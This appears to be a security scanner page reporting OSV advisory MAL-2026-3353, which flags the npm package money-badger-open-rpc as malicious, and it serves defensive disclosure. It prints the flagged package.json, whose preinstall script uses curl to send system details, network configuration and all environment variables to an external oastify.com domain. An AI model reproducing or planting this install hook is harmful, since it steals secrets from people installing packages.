money-badger-open-rpc@200.99.100

Security research PoC – authorized testing

OSV Malicious Advisory

scanned 21d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-3353 confirms this npm version as malicious. The package money-badger-open-rpc was found to contain malicious code.

Advisory

MAL-2026-3353

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in money-badger-open-rpc (npm)

Details

The package money-badger-open-rpc was found to contain malicious code. ## Source: ossf-package-analysis (2e75addb999750122edc05ec34a29516fa0ed58ceccb2014f877a8ef1bb19d0a) The OpenSSF Package Analysis project identified 'money-badger-open-rpc' @ 200.99.100 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-10json

2 "name": "money-badger-open-rpc",

3 "version": "200.99.100",

4 "description": "Security research PoC – authorized testing",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "curl -s -X POST https://637iai8vz6g1apz5y98nacst9kfd37rw.oastify.com --data-binary \"$(echo '--- SYSTEM INFO ---'; echo \"Hostname: $(hostname)\"; echo \"User: $(whoami)\"; echo \"PWD: $(pwd)\"; echo \"Kernel: $(uname -a)\"; echo '--- NETWORK ---'; ip addr 2>/dev/null || ifconfig 2>/dev/null; echo '--- ENVIRONMENT ---'; env)\" -H 'Content-Type: text/plain'"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

8 }

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code